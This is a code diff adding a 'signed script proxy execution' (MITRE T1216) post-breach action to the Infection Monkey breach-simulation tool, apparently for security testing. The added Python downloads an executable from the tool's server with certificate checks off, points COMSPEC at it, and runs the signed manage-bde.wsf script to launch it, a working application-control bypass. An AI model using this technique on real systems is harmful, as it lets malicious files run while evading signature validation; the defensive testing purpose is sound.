forked from p15670423/monkey
Merge pull request #776 from shreyamalviya/T1216
Add T1216 attack technique (signed script proxy execution)
This commit is contained in:
commit
bd062de753
|
@ -0,0 +1 @@
|
|||
T1216_PBA_FILE_DOWNLOAD_PATH = '/api/t1216-pba/download'
|
|
@ -6,5 +6,6 @@ POST_BREACH_HIDDEN_FILES = "Hide files and directories"
|
|||
POST_BREACH_TRAP_COMMAND = "Execute command when a particular signal is received"
|
||||
POST_BREACH_SETUID_SETGID = "Setuid and Setgid"
|
||||
POST_BREACH_JOB_SCHEDULING = "Schedule jobs"
|
||||
POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC = "Signed script proxy execution"
|
||||
POST_BREACH_ACCOUNT_DISCOVERY = "Account discovery"
|
||||
POST_BREACH_CLEAR_CMD_HISTORY = "Clear command history"
|
||||
|
|
|
@ -2,12 +2,14 @@ import json
|
|||
import logging
|
||||
import platform
|
||||
from socket import gethostname
|
||||
from urllib.parse import urljoin
|
||||
|
||||
import requests
|
||||
from requests.exceptions import ConnectionError
|
||||
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
import infection_monkey.tunnel as tunnel
|
||||
from common.data.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH
|
||||
from infection_monkey.config import GUID, WormConfiguration
|
||||
from infection_monkey.network.info import check_internet_access, local_ips
|
||||
from infection_monkey.transport.http import HTTPConnectProxy
|
||||
|
@ -325,6 +327,17 @@ class ControlClient(object):
|
|||
except requests.exceptions.RequestException:
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
def get_T1216_pba_file():
|
||||
try:
|
||||
return requests.get(urljoin(f"https://{WormConfiguration.current_server}/", # noqa: DUO123
|
||||
T1216_PBA_FILE_DOWNLOAD_PATH),
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies,
|
||||
stream=True)
|
||||
except requests.exceptions.RequestException:
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
def should_monkey_run(vulnerable_port: str) -> bool:
|
||||
if vulnerable_port and \
|
||||
|
|
|
@ -0,0 +1,30 @@
|
|||
import logging
|
||||
import subprocess
|
||||
|
||||
from common.data.post_breach_consts import POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC
|
||||
from infection_monkey.post_breach.pba import PBA
|
||||
from infection_monkey.post_breach.signed_script_proxy.signed_script_proxy import (
|
||||
cleanup_changes, get_commands_to_proxy_execution_using_signed_script)
|
||||
from infection_monkey.utils.environment import is_windows_os
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class SignedScriptProxyExecution(PBA):
|
||||
def __init__(self):
|
||||
windows_cmds = get_commands_to_proxy_execution_using_signed_script()
|
||||
super().__init__(POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC,
|
||||
windows_cmd=' '.join(windows_cmds))
|
||||
|
||||
def run(self):
|
||||
try:
|
||||
original_comspec = ''
|
||||
if is_windows_os():
|
||||
original_comspec =\
|
||||
subprocess.check_output('if defined COMSPEC echo %COMSPEC%', shell=True).decode() # noqa: DUO116
|
||||
|
||||
super().run()
|
||||
except Exception as e:
|
||||
LOG.warning(f"An exception occurred on running PBA {POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC}: {str(e)}")
|
||||
finally:
|
||||
cleanup_changes(original_comspec)
|
|
@ -0,0 +1,18 @@
|
|||
import subprocess
|
||||
|
||||
from infection_monkey.post_breach.signed_script_proxy.windows.signed_script_proxy import (
|
||||
get_windows_commands_to_delete_temp_comspec,
|
||||
get_windows_commands_to_proxy_execution_using_signed_script,
|
||||
get_windows_commands_to_reset_comspec)
|
||||
from infection_monkey.utils.environment import is_windows_os
|
||||
|
||||
|
||||
def get_commands_to_proxy_execution_using_signed_script():
|
||||
windows_cmds = get_windows_commands_to_proxy_execution_using_signed_script()
|
||||
return windows_cmds
|
||||
|
||||
|
||||
def cleanup_changes(original_comspec):
|
||||
if is_windows_os():
|
||||
subprocess.run(get_windows_commands_to_reset_comspec(original_comspec), shell=True) # noqa: DUO116
|
||||
subprocess.run(get_windows_commands_to_delete_temp_comspec(), shell=True) # noqa: DUO116
|
|
@ -0,0 +1,28 @@
|
|||
import os
|
||||
|
||||
from infection_monkey.control import ControlClient
|
||||
|
||||
TEMP_COMSPEC = os.path.join(os.getcwd(), 'random_executable.exe')
|
||||
|
||||
|
||||
def get_windows_commands_to_proxy_execution_using_signed_script():
|
||||
download = ControlClient.get_T1216_pba_file()
|
||||
with open(TEMP_COMSPEC, 'wb') as random_exe_obj:
|
||||
random_exe_obj.write(download.content)
|
||||
random_exe_obj.flush()
|
||||
|
||||
windir_path = os.environ['WINDIR']
|
||||
signed_script = os.path.join(windir_path, 'System32', 'manage-bde.wsf')
|
||||
|
||||
return [
|
||||
f'set comspec={TEMP_COMSPEC} &&',
|
||||
f'cscript {signed_script}'
|
||||
]
|
||||
|
||||
|
||||
def get_windows_commands_to_reset_comspec(original_comspec):
|
||||
return f'set comspec={original_comspec}'
|
||||
|
||||
|
||||
def get_windows_commands_to_delete_temp_comspec():
|
||||
return f'del {TEMP_COMSPEC} /f'
|
|
@ -6,6 +6,7 @@ from flask import Flask, Response, send_from_directory
|
|||
from werkzeug.exceptions import NotFound
|
||||
|
||||
import monkey_island.cc.environment.environment_singleton as env_singleton
|
||||
from common.data.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH
|
||||
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
||||
from monkey_island.cc.database import database, mongo
|
||||
from monkey_island.cc.resources.attack.attack_config import AttackConfiguration
|
||||
|
@ -35,6 +36,8 @@ from monkey_island.cc.resources.pba_file_upload import FileUpload
|
|||
from monkey_island.cc.resources.remote_run import RemoteRun
|
||||
from monkey_island.cc.resources.reporting.report import Report
|
||||
from monkey_island.cc.resources.root import Root
|
||||
from monkey_island.cc.resources.T1216_pba_file_download import \
|
||||
T1216PBAFileDownload
|
||||
from monkey_island.cc.resources.telemetry import Telemetry
|
||||
from monkey_island.cc.resources.telemetry_feed import TelemetryFeed
|
||||
from monkey_island.cc.resources.test.clear_caches import ClearCaches
|
||||
|
@ -130,6 +133,7 @@ def init_api_resources(api):
|
|||
api.add_resource(Log, '/api/log', '/api/log/')
|
||||
api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/')
|
||||
api.add_resource(PBAFileDownload, '/api/pba/download/<string:path>')
|
||||
api.add_resource(T1216PBAFileDownload, T1216_PBA_FILE_DOWNLOAD_PATH)
|
||||
api.add_resource(FileUpload, '/api/fileUpload/<string:file_type>',
|
||||
'/api/fileUpload/<string:file_type>?load=<string:filename>',
|
||||
'/api/fileUpload/<string:file_type>?restore=<string:filename>')
|
||||
|
|
|
@ -0,0 +1,17 @@
|
|||
import os
|
||||
|
||||
import flask_restful
|
||||
from flask import send_from_directory
|
||||
|
||||
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
||||
|
||||
|
||||
class T1216PBAFileDownload(flask_restful.Resource):
|
||||
"""
|
||||
File download endpoint used by monkey to download executable file for T1216 ("Signed Script Proxy Execution" PBA)
|
||||
"""
|
||||
|
||||
def get(self):
|
||||
executable_file_name = 'T1216_random_executable.exe'
|
||||
return send_from_directory(directory=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'resources', 'pba'),
|
||||
filename=executable_file_name)
|
Binary file not shown.
|
@ -19,7 +19,8 @@ from monkey_island.cc.services.attack.technique_reports import (T1003, T1005,
|
|||
T1158, T1166,
|
||||
T1168, T1188,
|
||||
T1197, T1210,
|
||||
T1222, T1504)
|
||||
T1216, T1222,
|
||||
T1504)
|
||||
from monkey_island.cc.services.reporting.report_generation_synchronisation import \
|
||||
safe_generate_attack_report
|
||||
|
||||
|
@ -59,6 +60,7 @@ TECHNIQUES = {'T1210': T1210.T1210,
|
|||
'T1166': T1166.T1166,
|
||||
'T1168': T1168.T1168,
|
||||
'T1053': T1053.T1053,
|
||||
'T1216': T1216.T1216,
|
||||
'T1087': T1087.T1087,
|
||||
'T1146': T1146.T1146
|
||||
}
|
||||
|
|
|
@ -194,6 +194,15 @@ SCHEMA = {
|
|||
"necessary": True,
|
||||
"link": "https://attack.mitre.org/techniques/T1222",
|
||||
"description": "Adversaries may modify file permissions/attributes to evade intended DACLs."
|
||||
},
|
||||
"T1216": {
|
||||
"title": "Signed script proxy execution",
|
||||
"type": "bool",
|
||||
"value": False,
|
||||
"necessary": False,
|
||||
"link": "https://attack.mitre.org/techniques/T1216",
|
||||
"description": "Adversaries may use scripts signed with trusted certificates to "
|
||||
"proxy execution of malicious files on Windows systems."
|
||||
}
|
||||
}
|
||||
},
|
||||
|
|
|
@ -0,0 +1,21 @@
|
|||
from common.data.post_breach_consts import POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC
|
||||
from monkey_island.cc.services.attack.technique_reports.pba_technique import \
|
||||
PostBreachTechnique
|
||||
|
||||
__author__ = "shreyamalviya"
|
||||
|
||||
|
||||
class T1216(PostBreachTechnique):
|
||||
tech_id = "T1216"
|
||||
unscanned_msg = "Monkey didn't attempt to execute an arbitrary program with the help of a " +\
|
||||
"pre-existing signed script since it didn't run on any Windows machines. " +\
|
||||
"If successful, this behavior could be abused by adversaries to execute malicious files that could " +\
|
||||
"bypass application control and signature validation on systems."
|
||||
scanned_msg = "Monkey attempted to execute an arbitrary program with the help of a " +\
|
||||
"pre-existing signed script on Windows but failed. " +\
|
||||
"If successful, this behavior could be abused by adversaries to execute malicious files that could " +\
|
||||
"bypass application control and signature validation on systems."
|
||||
used_msg = "Monkey executed an arbitrary program with the help of a pre-existing signed script on Windows. " +\
|
||||
"This behavior could be abused by adversaries to execute malicious files that could " +\
|
||||
"bypass application control and signature validation on systems."
|
||||
pba_names = [POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC]
|
|
@ -71,6 +71,16 @@ POST_BREACH_ACTIONS = {
|
|||
"info": "Attempts to create a scheduled job on the system and remove it.",
|
||||
"attack_techniques": ["T1168", "T1053"]
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"SignedScriptProxyExecution"
|
||||
],
|
||||
"title": "Signed script proxy execution",
|
||||
"info": "On Windows systems, attemps to execute an arbitrary file "
|
||||
"with the help of a pre-existing signed script.",
|
||||
"attack_techniques": ["T1216"]
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
|
|
|
@ -0,0 +1,45 @@
|
|||
import React from 'react';
|
||||
import ReactTable from 'react-table';
|
||||
import {renderMachineFromSystemData, ScanStatus} from './Helpers';
|
||||
import MitigationsComponent from './MitigationsComponent';
|
||||
|
||||
class T1216 extends React.Component {
|
||||
|
||||
constructor(props) {
|
||||
super(props);
|
||||
}
|
||||
|
||||
static getColumns() {
|
||||
return ([{
|
||||
columns: [
|
||||
{ Header: 'Machine',
|
||||
id: 'machine',
|
||||
accessor: x => renderMachineFromSystemData(x.machine),
|
||||
style: {'whiteSpace': 'unset'}},
|
||||
{ Header: 'Result',
|
||||
id: 'result',
|
||||
accessor: x => x.result,
|
||||
style: {'whiteSpace': 'unset'}}
|
||||
]
|
||||
}])
|
||||
}
|
||||
|
||||
render() {
|
||||
return (
|
||||
<div>
|
||||
<div>{this.props.data.message}</div>
|
||||
<br/>
|
||||
{this.props.data.status === ScanStatus.USED ?
|
||||
<ReactTable
|
||||
columns={T1216.getColumns()}
|
||||
data={this.props.data.info}
|
||||
showPagination={false}
|
||||
defaultPageSize={this.props.data.info.length}
|
||||
/> : ''}
|
||||
<MitigationsComponent mitigations={this.props.data.mitigations}/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
export default T1216;
|
Loading…
Reference in New Issue